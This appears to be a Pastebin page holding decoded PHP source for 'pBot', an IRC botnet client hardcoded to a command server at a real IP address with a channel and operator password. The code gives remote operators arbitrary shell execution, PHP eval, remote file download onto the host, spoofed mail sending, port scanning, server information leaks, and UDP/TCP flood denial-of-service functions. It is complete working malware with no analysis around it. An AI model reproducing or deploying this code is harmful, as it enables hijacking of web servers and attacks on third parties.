Advertisement
_tl_

cf2cdb3ad3249b9692de07290f16f287_decoded.php

Feb 1st, 2012
287
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 14.52 KB | None | 0 0
  1. set_time_limit(0);
  2. error_reporting(0);
  3.  
  4. class pBot
  5. {
  6.  var $config = array("server"=>"58.225.75.155",
  7.                      "port"=>9999,
  8.                      "pass"=>"",
  9.                      "prefix"=>"animal",
  10.                      "maxrand"=>8,
  11.                      "chan"=>"#animal",
  12.                      "key"=>"",
  13.                      "modes"=>"+iB-x",
  14.                      "password"=>"oishi",
  15.                      "trigger"=>".",
  16.                      "hostauth"=>"*!*@The.Black.Cat" // * for any hostname
  17.                      );
  18.  var $users = array();
  19.  function start()
  20.  {
  21.     if(!($this->conn = fsockopen($this->config['server'],$this->config['port'],$e,$s,30)))
  22.        $this->start();
  23.     $ident = "";
  24.     $alph = range("a","z");
  25.     for($i=0;$i<$this->config['maxrand'];$i++)
  26.        $ident .= $alph[rand(0,25)];
  27.     if(strlen($this->config['pass'])>0)
  28.        $this->send("PASS ".$this->config['pass']);
  29.     $this->send("USER $ident 127.0.0.1 localhost :$ident");
  30.     $this->set_nick();
  31.     $this->main();
  32.  }
  33.  function main()
  34.  {
  35.     while(!feof($this->conn))
  36.     {
  37.        $this->buf = trim(fgets($this->conn,512));
  38.        $cmd = explode(" ",$this->buf);
  39.        if(substr($this->buf,0,6)=="PING :")
  40.        {
  41.           $this->send("PONG :".substr($this->buf,6));
  42.        }
  43.        if(isset($cmd[1]) && $cmd[1] =="001")
  44.        {
  45.           $this->send("MODE ".$this->nick." ".$this->config['modes']);
  46.           $this->join($this->config['chan'],$this->config['key']);
  47.        }
  48.        if(isset($cmd[1]) && $cmd[1]=="433")
  49.        {
  50.           $this->set_nick();
  51.        }
  52.        if($this->buf != $old_buf)
  53.        {
  54.           $mcmd = array();
  55.           $msg = substr(strstr($this->buf," :"),2);
  56.           $msgcmd = explode(" ",$msg);
  57.           $nick = explode("!",$cmd[0]);
  58.           $vhost = explode("@",$nick[1]);
  59.           $vhost = $vhost[1];
  60.           $nick = substr($nick[0],1);
  61.           $host = $cmd[0];
  62.           if($msgcmd[0]==$this->nick)
  63.           {
  64.            for($i=0;$i<count($msgcmd);$i++)
  65.               $mcmd[$i] = $msgcmd[$i+1];
  66.           }
  67.           else
  68.           {
  69.            for($i=0;$i<count($msgcmd);$i++)
  70.               $mcmd[$i] = $msgcmd[$i];
  71.           }
  72.           if(count($cmd)>2)
  73.           {
  74.              switch($cmd[1])
  75.              {
  76.                 case "QUIT":
  77.                    if($this->is_logged_in($host))
  78.                    {
  79.                       $this->log_out($host);
  80.                    }
  81.                 break;
  82.                 case "PART":
  83.                    if($this->is_logged_in($host))
  84.                    {
  85.                       $this->log_out($host);
  86.                    }
  87.                 break;
  88.                 case "PRIVMSG":
  89.                    if(!$this->is_logged_in($host) && ($vhost == $this->config['hostauth'] || $this->config['hostauth'] == "*"))
  90.                    {
  91.                       if(substr($mcmd[0],0,1)==".")
  92.                       {
  93.                          switch(substr($mcmd[0],1))
  94.                          {
  95.                             case "user":
  96.                               if($mcmd[1]==$this->config['password'])
  97.                               {
  98.                                  $this->privmsg($this->config['chan'],"[\2auth\2]: $nick Logado!");
  99.                                  $this->log_in($host);
  100.                               }
  101.                               else
  102.                               {
  103.                                  $this->privmsg($this->config['chan'],"[\2auth\2]: Senha errada $nick idiota!");
  104.                               }
  105.                             break;
  106.                          }
  107.                       }
  108.                    }
  109.                    elseif($this->is_logged_in($host))
  110.                    {
  111.                       if(substr($mcmd[0],0,1)==".")
  112.                       {
  113.                          switch(substr($mcmd[0],1))
  114.                          {
  115.                             case "restart":
  116.                                $this->send("QUIT :restart");
  117.                                fclose($this->conn);
  118.                                $this->start();
  119.                             break;
  120.                             case "mail": //mail to from subject message
  121.                                if(count($mcmd)>4)
  122.                                {
  123.                                   $header = "From: <".$mcmd[2].">";
  124.                                   if(!mail($mcmd[1],$mcmd[3],strstr($msg,$mcmd[4]),$header))
  125.                                   {
  126.                                      $this->privmsg($this->config['chan'],"[\2mail\2]: Unable to send");
  127.                                   }
  128.                                   else
  129.                                   {
  130.                                      $this->privmsg($this->config['chan'],"[\2mail\2]: Message sent to \2".$mcmd[1]."\2");
  131.                                   }
  132.                                }
  133.                             break;
  134.                             case "dns":
  135.                                if(isset($mcmd[1]))
  136.                                {
  137.                                   $ip = explode(".",$mcmd[1]);
  138.                                   if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3]))
  139.                                   {
  140.                                      $this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyaddr($mcmd[1]));
  141.                                   }
  142.                                   else
  143.                                   {
  144.                                      $this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyname($mcmd[1]));
  145.                                   }
  146.                                }
  147.                             break;
  148.                             case "info":
  149.                                $this->privmsg($this->config['chan'],"[\2info\2]: [\2httpd\2: ".$_SERVER['SERVER_SOFTWARE']."] [\2docroot\2: ".$_SERVER['DOCUMENT_ROOT']."] [\2domain\2: ".$_SERVER['SERVER_NAME']."] [\2admin\2: ".$_SERVER['SERVER_ADMIN']."] [\2url\2:".$_SERVER['REQUEST_URI']."]");
  150.                             break;
  151.                             case "cmd":
  152.                                if(isset($mcmd[1]))
  153.                                {
  154.                                   $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
  155.                                   $this->privmsg($this->config['chan'],"[\2cmd\2]: $command");
  156.                                   $pipe = popen($command,"r");
  157.                                   while(!feof($pipe))
  158.                                   {
  159.                                      $pbuf = trim(fgets($pipe,512));
  160.                                      if($pbuf != NULL)
  161.                                         $this->privmsg($this->config['chan'],"     : $pbuf");
  162.                                   }
  163.                                   pclose($pipe);
  164.                                }
  165.                             break;
  166.                             case "rndnick":
  167.                                $this->set_nick();
  168.                             break;
  169.                             case "raw":
  170.                                $this->send(strstr($msg,$mcmd[1]));
  171.                             break;
  172.                             case "php":
  173.                                $eval = eval(substr(strstr($msg,$mcmd[1]),strlen($mcmd[1])));
  174.                             break;
  175.                             case "exec":
  176.                                $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
  177.                                $exec = shell_exec($command);
  178.                                $ret = explode("\n",$exec);
  179.                                $this->privmsg($this->config['chan'],"[\2exec\2]: $command");
  180.                                for($i=0;$i<count($ret);$i++)
  181.                                   if($ret[$i]!=NULL)
  182.                                      $this->privmsg($this->config['chan'],"      : ".trim($ret[$i]));
  183.                             break;
  184.                             case "pscan": // .pscan 127.0.0.1 6667
  185.                                if(count($mcmd) > 2)
  186.                                {
  187.                                   if(fsockopen($mcmd[1],$mcmd[2],$e,$s,15))
  188.                                      $this->privmsg($this->config['chan'],"[\2pscan\2]: ".$mcmd[1].":".$mcmd[2]." is \2open\2");
  189.                                   else
  190.                                      $this->privmsg($this->config['chan'],"[\2pscan\2]: ".$mcmd[1].":".$mcmd[2]." is \2closed\2");
  191.                                }
  192.                             break;
  193.                             case "ud.server": // .udserver <server> <port> [password]
  194.                                if(count($mcmd)>2)
  195.                                {
  196.                                   $this->config['server'] = $mcmd[1];
  197.                                   $this->config['port'] = $mcmd[2];
  198.                                   if(isset($mcmcd[3]))
  199.                                   {
  200.                                    $this->config['pass'] = $mcmd[3];
  201.                                    $this->privmsg($this->config['chan'],"[\2update\2]: Changed server to ".$mcmd[1].":".$mcmd[2]." Pass: ".$mcmd[3]);
  202.                                   }
  203.                                   else
  204.                                   {
  205.                                      $this->privmsg($this->config['chan'],"[\2update\2]: Changed server to ".$mcmd[1].":".$mcmd[2]);
  206.                                   }
  207.                                }
  208.                             break;
  209.                             case "download":
  210.                                if(count($mcmd) > 2)
  211.                                {
  212.                                   if(!$fp = fopen($mcmd[2],"w"))
  213.                                   {
  214.                                      $this->privmsg($this->config['chan'],"[\2download\2]: Cannot download, permission denied.");
  215.                                   }
  216.                                   else
  217.                                   {
  218.                                      if(!$get = file($mcmd[1]))
  219.                                      {
  220.                                         $this->privmsg($this->config['chan'],"[\2download\2]: Unable to download from \2".$mcmd[1]."\2");
  221.                                      }
  222.                                      else
  223.                                      {
  224.                                         for($i=0;$i<=count($get);$i++)
  225.                                         {
  226.                                            fwrite($fp,$get[$i]);
  227.                                         }
  228.                                         $this->privmsg($this->config['chan'],"[\2download\2]: File \2".$mcmd[1]."\2 downloaded to \2".$mcmd[2]."\2");
  229.                                      }
  230.                                      fclose($fp);
  231.                                   }
  232.                                }
  233.                             case "die":
  234.                                $this->send("QUIT :MORRI! comando por $nick");
  235.                                fclose($this->conn);
  236.                                exit;
  237.                             case "logout":
  238.                                $this->log_out($host);
  239.                                $this->privmsg($this->config['chan'],"[\2auth\2]: $nick deslogado!");
  240.                             break;
  241.                             case "udpflood":
  242.                                if(count($mcmd)>3)
  243.                                {
  244.                                   $this->udpflood($mcmd[1],$mcmd[2],$mcmd[3]);
  245.                                }
  246.                             break;
  247.                             case "tcpflood":
  248.                                if(count($mcmd)>5)
  249.                                {
  250.                                   $this->tcpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4],$mcmd[5]);
  251.                                }
  252.                             break;
  253.                          }
  254.                       }
  255.                    }
  256.                 break;
  257.              }
  258.           }
  259.        }
  260.        $old_buf = $this->buf;
  261.     }
  262.     $this->start();
  263.  }
  264.  function send($msg)
  265.  {
  266.     fwrite($this->conn,"$msg\r\n");
  267.  }
  268.  function join($chan,$key=NULL)
  269.  {
  270.     $this->send("JOIN $chan $key");
  271.  }
  272.  function privmsg($to,$msg)
  273.  {
  274.     $this->send("PRIVMSG $to :$msg");
  275.  }
  276.  function is_logged_in($host)
  277.  {
  278.     if(isset($this->users[$host]))
  279.        return 1;
  280.     else
  281.        return 0;
  282.  }
  283.  function log_in($host)
  284.  {
  285.     $this->users[$host] = true;
  286.  }
  287.  function log_out($host)
  288.  {
  289.     unset($this->users[$host]);
  290.  }
  291.  function set_nick()
  292.  {
  293.     if(isset($_SERVER['SERVER_SOFTWARE']))
  294.     {
  295.        if(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"apache"))
  296.           $this->nick = "[A]";
  297.        elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"iis"))
  298.           $this->nick = "[I]";
  299.        elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"xitami"))
  300.           $this->nick = "[X]";
  301.        else
  302.           $this->nick = "[U]";
  303.     }
  304.     else
  305.     {
  306.        $this->nick = "[C]";
  307.     }
  308.     $this->nick .= $this->config['prefix'];
  309.     for($i=0;$i<$this->config['maxrand'];$i++)
  310.        $this->nick .= mt_rand(0,9);
  311.     $this->send("NICK ".$this->nick);
  312.  }
  313.   function udpflood($host,$packetsize,$time) {
  314.     $this->privmsg($this->config['chan'],"[\2UdpFlood Started!\2]");
  315.     $packet = "";
  316.     for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
  317.     $timei = time();
  318.     $i = 0;
  319.     while(time()-$timei < $time) {
  320.         $fp=fsockopen("udp://".$host,mt_rand(0,6000),$e,$s,5);
  321.         fwrite($fp,$packet);
  322.         fclose($fp);
  323.         $i++;
  324.     }
  325.     $env = $i * $packetsize;
  326.     $env = $env / 1048576;
  327.     $vel = $env / $time;
  328.     $vel = round($vel);
  329.     $env = round($env);
  330.     $this->privmsg($this->config['chan'],"[\2UdpFlood Finished!\2]: $env MB enviados / Media: $vel MB/s ");
  331. }
  332.  function tcpflood($host,$packets,$packetsize,$port,$delay)
  333.  {
  334.     $this->privmsg($this->config['chan'],"[\2TcpFlood Started!\2]");
  335.     $packet = "";
  336.     for($i=0;$i<$packetsize;$i++)
  337.        $packet .= chr(mt_rand(1,256));
  338.     for($i=0;$i<$packets;$i++)
  339.     {
  340.        if(!$fp=fsockopen("tcp://".$host,$port,$e,$s,5))
  341.        {
  342.           $this->privmsg($this->config['chan'],"[\2TcpFlood\2]: Error: <$e>");
  343.           return 0;
  344.        }
  345.        else
  346.        {
  347.           fwrite($fp,$packet);
  348.           fclose($fp);
  349.        }
  350.        sleep($delay);
  351.     }
  352.     $this->privmsg($this->config['chan'],"[\2TcpFlood Finished!\2]: Config - $packets pacotes para $host:$port.");
  353.  }
  354. }
  355.  
  356. $bot = new pBot;
  357. $bot->start();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement